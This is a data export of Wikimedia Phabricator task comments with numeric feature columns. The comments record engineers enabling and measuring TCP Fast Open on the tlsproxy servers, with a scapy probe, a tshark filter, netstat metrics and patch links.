684159,Investigate TCP Fast Open for tlsproxy,"Change 295900 merged by Ema:
diamond TCP collector: add TFO-related metrics

[[https://gerrit.wikimedia.org/r/295900]]",,,1466779409,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,51,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.727272727272727,0.8636363636363636,"Change 295900 merged by Ema:
diamond TCP collector: add TFO-related metrics

[[GERRIT_URL]]"
684150,Investigate TCP Fast Open for tlsproxy,"Change 295925 had a related patch set uploaded (by Ema):
tlsproxy: document safe/unsafe TFO usage

[[https://gerrit.wikimedia.org/r/295925]]
",,,1466778772,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,51,True,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.607142857142857,0.8928571428571429,"Change 295925 had a related patch set uploaded (by Ema):
tlsproxy: document safe/unsafe TFO usage

[[GERRIT_URL]]
"
684039,Investigate TCP Fast Open for tlsproxy,"Change 295900 had a related patch set uploaded (by Ema):
diamond TCP collector: add TFO-related metrics

[[https://gerrit.wikimedia.org/r/295900]]
",,,1466769598,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,51,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.6551724137931036,0.8620689655172413,"Change 295900 had a related patch set uploaded (by Ema):
diamond TCP collector: add TFO-related metrics

[[GERRIT_URL]]
"
683990,Investigate TCP Fast Open for tlsproxy,"We're currently running with TCP Fast Open enabled on all tlsproxies, limiting the number of concurrent pending TFO requests to 150 to mitigate the risk of Resource Exhaustion Attacks by SYN Flood with Valid Cookies.
See [[https://gerrit.wikimedia.org/r/#/q/project:operations/puppet+branch:production+topic:tfo,n,z|the relevant commits]].

`netstat -s | grep TCPFastOpen` returns a bunch of TFO-related metrics. `TCPFastOpenPassive` is the number of successful inbound TFO connections, useful to get an idea of client support.  Also, we need to keep an eye on `TCPFastOpenListenOverflow`, which gets incremented when the above mentioned limit of concurrent pending TFO requests is exceeded.",,,1466764163,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,51,True,0.5,0.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,3.5,10.5,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.5,0.0,1.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,2.0,13.0,1.0,0.0,6.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,1.5,10.5,10.0,0.0,0.0,0.0,1.5,0.0,2.0,2.5,0.0,2.5,0.0,0.0,1.0,4.226415094339623,0.8018867924528301,"We're currently running with TCP Fast Open enabled on all tlsproxies, limiting the number of concurrent pending TFO requests to 150 to mitigate the risk of Resource Exhaustion Attacks by SYN Flood with Valid Cookies.
See [[URL relevant commits]].

CODE returns a bunch of TFO-related metrics. CODE is the number of successful inbound TFO connections, useful to get an idea of client support.  Also, we need to keep an eye on CODE, which gets incremented when the above mentioned limit of concurrent pending TFO requests is exceeded."
683977,Investigate TCP Fast Open for tlsproxy,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVWB2Za2RMqFRV-4mz8R} [2016-06-24T09:59:28Z] <ema> nginx rolling restart to enable TFO on all tlsproxies (T108827)",,,1466762369,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,51,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,3.324324324324324,0.8918918918918919,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-06-24T09:59:28Z] <ema> nginx rolling restart to enable TFO on all tlsproxies (T108827)"
683960,Investigate TCP Fast Open for tlsproxy,"Change 295810 merged by Ema:
tlsproxy: only enable TFO on default_server

[[https://gerrit.wikimedia.org/r/295810]]",,,1466759763,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,51,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.95,0.85,"Change 295810 merged by Ema:
tlsproxy: only enable TFO on default_server

[[GERRIT_URL]]"
683951,Investigate TCP Fast Open for tlsproxy,"Change 295810 had a related patch set uploaded (by Ema):
tlsproxy: only enable TFO on default_server

[[https://gerrit.wikimedia.org/r/295810]]
",,,1466759272,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,51,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.814814814814815,0.8888888888888888,"Change 295810 had a related patch set uploaded (by Ema):
tlsproxy: only enable TFO on default_server

[[GERRIT_URL]]
"
683941,Investigate TCP Fast Open for tlsproxy,"Change 295783 merged by Ema:
tlsproxy: enable TCP Fast Open

[[https://gerrit.wikimedia.org/r/295783]]",,,1466754088,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,51,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.526315789473684,0.8421052631578947,"Change 295783 merged by Ema:
tlsproxy: enable TCP Fast Open

[[GERRIT_URL]]"
683936,Investigate TCP Fast Open for tlsproxy,"Change 295783 had a related patch set uploaded (by Ema):
tlsproxy: enable TCP Fast Open

[[https://gerrit.wikimedia.org/r/295783]]
",,,1466753434,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,51,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.5,0.8846153846153846,"Change 295783 had a related patch set uploaded (by Ema):
tlsproxy: enable TCP Fast Open

[[GERRIT_URL]]
"
683683,Investigate TCP Fast Open for tlsproxy,"The initial portion of the 3WHS can be used to check whether a remote TCP server supports TFO. For example, with [[https://github.com/secdev/scapy/ | scapy]]:

```
from scapy.all import sr1, IP, TCP

dst = ""en.wikipedia.org""
dport = 443

res = sr1(IP(dst=dst)/TCP(dport=dport,flags=""S"",options=[('TFO', '')]), verbose=False)
print 'TFO' in dict(res[1].options)
```

Note that also in this case the version of scapy in Debian sid does not include TFO support. Grab it from github.

Also important: to try reproducing the whole 3WHS and establish a connection it's necessary to avoid sending RSTs due to unsolicited SYN/ACK with something like:
  
  iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP

The reason for the resets is that we're crafting a SYN packet with scapy that the kernel is not really aware of. It will get confused upon reception of a SYN/ACK part of an handshake it didn't initiate and reply with an RST. Again, this is not necessary when probing for TFO support with the python snippet above, but good to keep in mind for more advanced tests.",,,1466695464,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,51,True,0.0,0.5,0.0,0.5,2.0,6.0,1.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.5,0.5,6.0,14.5,0.5,2.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.5,0.0,4.0,2.0,2.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.5,0.0,0.5,15.5,0.5,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,7.5,2.0,13.5,2.5,1.5,8.5,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.5,14.5,8.0,0.0,0.0,0.0,2.5,0.0,1.0,3.0,0.0,2.0,0.5,0.0,1.0,3.7880434782608696,0.7663043478260869,"The initial portion of the 3WHS can be used to check whether a remote TCP server supports TFO. For example, with [[URL | scapy]]:

``CODE``

Note that also in this case the version of scapy in Debian sid does not include TFO support. Grab it from github.

Also important: to try reproducing the whole 3WHS and establish a connection it's necessary to avoid sending RSTs due to unsolicited SYN/ACK with something like:
  
  iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP

The reason for the resets is that we're crafting a SYN packet with scapy that the kernel is not really aware of. It will get confused upon reception of a SYN/ACK part of an handshake it didn't initiate and reply with an RST. Again, this is not necessary when probing for TFO support with the python snippet above, but good to keep in mind for more advanced tests."
683622,Investigate TCP Fast Open for tlsproxy,"The initial portion of the 3WHS can be used to check whether a remote TCP server supports TFO. For example, with [[https://github.com/secdev/scapy/ | scapy]]:

```
from scapy.all import sr1, IP, TCP

dst = ""en.wikipedia.org""
dport = 443

res = sr1(IP(dst=dst)/TCP(dport=dport,flags=""S"",options=[('TFO', '')]), verbose=False)
print 'TFO' in dict(res[1].options)
```

Note that also in this case the version of scapy in Debian sid does not include TFO support. Grab it from github.

Also important: your TCP stack will get confused when receiving an unsolicited SYN/ACK.
  
  iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP",,,1466689899,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,51,True,0.0,0.0,0.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,19.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,11.0,13.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,2.0,3.6236559139784945,0.8064516129032258,"The initial portion of the 3WHS can be used to check whether a remote TCP server supports TFO. For example, with [[URL | scapy]]:

``CODE``

Note that also in this case the version of scapy in Debian sid does not include TFO support. Grab it from github.

Also important: your TCP stack will get confused when receiving an unsolicited SYN/ACK.
  
  iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP"
683618,Investigate TCP Fast Open for tlsproxy,"The initial portion of the 3WHS can be used to check whether a remote TCP server supports TFO. For example, with [[https://github.com/secdev/scapy/ | scapy]]:

```
from scapy.all import sr1, IP, TCP

dst = ""en.wikipedia.org""
dport = 443

res = sr1(IP(dst=dst)/TCP(dport=dport,flags=""S"",options=[('TFO', '')]), verbose=False)
print 'TFO' in dict(res[1].options)
```

Note that also in this case the version of scapy in Debian sid does not include TFO support. Grab it from github.",,,1466689762,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,51,True,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,16.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,16.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,3.3870967741935485,0.7903225806451613,"The initial portion of the 3WHS can be used to check whether a remote TCP server supports TFO. For example, with [[URL | scapy]]:

``CODE``

Note that also in this case the version of scapy in Debian sid does not include TFO support. Grab it from github."
683064,Investigate TCP Fast Open for tlsproxy,"A few more things tools-wise.

TFO support has been added to curl in version 7.49.0: [[ https://curl.haxx.se/changes.html#7_49_0 | --tcp-fastopen]]. Unfortunately Debian sid ships an older version of curl, I've opened [[https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=827900 | a bug ]] for that. 

[[https://github.com/flok99/httping|httping]] supports TFO (-F) and it looks like a cool program!

Examples of simple TFO-enabled clients and servers can be found [[https://github.com/catrope/cs244-win13-pa3-tfo|here]] even though they don't build properly. [[https://github.com/catrope/cs244-win13-pa3-tfo/pull/1| Pull request opened]].

`netstat -s | grep -i fastopen` returns some TFO-related stats, but it would be nice to have access to more information! Which cookies are we storing, for which IPs? Any additional info we cached? For example, we sent a SYN with cookie request and got no SYN/ACK back. Perhaps a middlebox swallowed it? Negative responses [[https://tools.ietf.org/html/rfc7413#section-4.1.3.1|must be cached]] so it would be interesting to somehow inspect the current status of cached TFO information.",,,1466609003,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,50,True,1.5,0.0,0.0,1.5,0.5,7.0,1.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,2.0,0.0,3.5,7.5,0.0,1.5,0.0,0.0,0.0,2.5,0.5,0.5,0.0,0.5,1.0,0.0,4.0,0.5,2.0,0.5,0.0,0.0,0.5,0.0,1.0,0.5,0.5,0.0,2.0,0.0,1.0,0.0,0.0,0.0,18.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,3.5,3.0,14.0,1.0,2.0,6.5,0.0,0.0,1.0,0.0,4.0,0.0,0.5,0.0,4.5,7.5,5.0,1.5,0.0,0.0,4.5,0.0,1.0,3.0,0.0,0.5,1.5,0.0,6.0,3.5736842105263156,0.7,"A few more things tools-wise.

TFO support has been added to curl in version 7.49.0: [[ URL | --tcp-fastopen]]. Unfortunately Debian sid ships an older version of curl, I've opened [[URL | a bug ]] for that. 

[[URL supports TFO (-F) and it looks like a cool program!

Examples of simple TFO-enabled clients and servers can be found [[URL even though they don't build properly. [[URL Pull request opened]].

CODE returns some TFO-related stats, but it would be nice to have access to more information! Which cookies are we storing, for which IPs? Any additional info we cached? For example, we sent a SYN with cookie request and got no SYN/ACK back. Perhaps a middlebox swallowed it? Negative responses [[URL be cached]] so it would be interesting to somehow inspect the current status of cached TFO information."
682838,Investigate TCP Fast Open for tlsproxy,"Change 295331 merged by Ema:
tlsproxy: enable client/server TFO support in the kernel

[[https://gerrit.wikimedia.org/r/295331]]",,,1466587022,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,50,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.75,0.875,"Change 295331 merged by Ema:
tlsproxy: enable client/server TFO support in the kernel

[[GERRIT_URL]]"
682418,Investigate TCP Fast Open for tlsproxy,"So, here are a few findings so far.

tshark can be used to detect SYN packets with a TFO cookie request:

  tshark -f 'tcp[tcpflags] & tcp-syn != 0' -Y 'tcp.options.experimental==fe:04:f9:89'

The output is something like this (note the last field, TFO=R):
  88274  20.988901 92.110.255.XXX -> 91.198.174.192 TCP 78 49292→443 [SYN] Seq=0 Win=27200 Len=0 MSS=1360 SACK_PERM=1 TSval=56874279 TSecr=0 WS=128 TFO=R


> 3. Is LVS a factor here for TFO compatibility, and does it (or should it) pay attention to the cookies?

It looks like LVS does not interfere with TFO compatibility. I've enabled TFO in chrome and confirmed that the cookie request reached cp3xx properly. 

> 1. Is client-side adoption percentage high enough to matter yet?

TFO support is available on chrome on linux but disabled by default, at least on the version I've tested (47.0.2526.106). It can be enabled under `chrome://flags/`.

I've monitored the SYN packets received by an esams cache node for a little bit (~5 minutes) and my SYN was the only one with TFO. So that might give an initial, partial answer to 1): client-side adoption is very low at the moment, but will grow as soon as clients start enabling the option by default.

Apple-wise, iOS 9 and OS X 10.11 support TFO: https://www.nanog.org/sites/default/files/Paasch_Network_Support.pdf. Also see http://devstreaming.apple.com/videos/wwdc/2015/719ui2k57m/719/719_your_app_and_next_generation_networks.pdf (starting from page 79). 

On Windows, edge supports TCP Fast Open since Windows 10 Preview build 14352 (enabled by default apparently): https://developer.microsoft.com/en-us/microsoft-edge/platform/changelog/desktop/14352/",,,1466507150,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,50,True,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,3.3333333333333335,1.3333333333333333,0.0,0.0,0.0,1.0,2.3333333333333335,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,4.666666666666667,8.333333333333334,0.3333333333333333,0.3333333333333333,0.0,1.0,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,3.6666666666666665,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,11.666666666666666,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,4.333333333333333,2.3333333333333335,17.0,0.6666666666666666,2.0,5.0,0.0,0.0,0.3333333333333333,0.0,4.0,0.0,5.333333333333333,0.0,2.0,8.333333333333334,14.333333333333334,0.0,1.3333333333333333,0.0,2.0,0.0,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,0.3333333333333333,1.6666666666666667,3.9176029962546814,0.7827715355805243,"So, here are a few findings so far.

tshark can be used to detect SYN packets with a TFO cookie request:

  tshark -f 'tcp[tcpflags] & tcp-syn != 0' -Y 'tcp.options.experimental==fe:04:f9:89'

The output is something like this (note the last field, TFO=R):
  88274  20.988901 92.110.255.XXX -> 91.198.174.192 TCP 78 49292→443 [SYN] Seq=0 Win=27200 Len=0 MSS=1360 SACK_PERM=1 TSval=56874279 TSecr=0 WS=128 TFO=R


QUOTE

It looks like LVS does not interfere with TFO compatibility. I've enabled TFO in chrome and confirmed that the cookie request reached cp3xx properly. 

QUOTE

TFO support is available on chrome on linux but disabled by default, at least on the version I've tested (47.0.2526.106). It can be enabled under CODE.

I've monitored the SYN packets received by an esams cache node for a little bit (~5 minutes) and my SYN was the only one with TFO. So that might give an initial, partial answer to 1): client-side adoption is very low at the moment, but will grow as soon as clients start enabling the option by default.

Apple-wise, iOS 9 and OS X 10.11 support TFO: URL Also see URL (starting from page 79). 

On Windows, edge supports TCP Fast Open since Windows 10 Preview build 14352 (enabled by default apparently): URL"
682403,Investigate TCP Fast Open for tlsproxy,"Change 295331 had a related patch set uploaded (by Ema):
tlsproxy: enable client/server TFO support in the kernel

[[https://gerrit.wikimedia.org/r/295331]]
",,,1466504839,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,50,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,13.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.6774193548387095,0.9032258064516129,"Change 295331 had a related patch set uploaded (by Ema):
tlsproxy: enable client/server TFO support in the kernel

[[GERRIT_URL]]
"
619665,Investigate TCP Fast Open for tlsproxy,"As of when the caches switch to Linux 4.4.2 kernels (coming soon), they'll have the updates for the real (not experimental) TCP Fast Open IANA option code from [[ https://tools.ietf.org/html/rfc7413 | RFC 7413 ]] ( [[ https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=7f9b838b71eb78a27de27a12ca5de8542fac3115 | kernel commit ]] ).  Given that we're still hashing traffic for HTTPS and I don't see us changing that anytime soon, we could probably go ahead and rely on that for now and just do machine local (re-)generation of cookies, too, and later upgrade to cluster-synchronized cookies when if we make a mechanism available for RFC5077 as well.",,,1456756946,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,34,True,0.0,0.0,0.0,0.0,1.5,4.5,0.0,0.0,0.0,1.0,1.5,2.0,0.0,0.0,0.0,4.0,0.0,12.5,10.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.5,0.0,3.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,1.5,0.0,0.0,0.0,0.0,0.0,9.5,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.5,1.0,2.0,0.0,1.0,1.0,0.0,0.0,2.5,0.0,7.5,3.5,3.5,3.0,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,4.5,10.0,2.5,0.0,0.0,0.0,4.5,0.0,1.5,1.0,1.0,2.0,0.0,0.0,1.5,3.70499707773232,0.7865283459964932,"As of when the caches switch to Linux 4.4.2 kernels (coming soon), they'll have the updates for the real (not experimental) TCP Fast Open IANA option code from [[ URL | RFC 7413 ]] ( [[ URL | kernel commit ]] ).  Given that we're still hashing traffic for HTTPS and I don't see us changing that anytime soon, we could probably go ahead and rely on that for now and just do machine local (re-)generation of cookies, too, and later upgrade to cluster-synchronized cookies when if we make a mechanism available for RFC5077 as well."
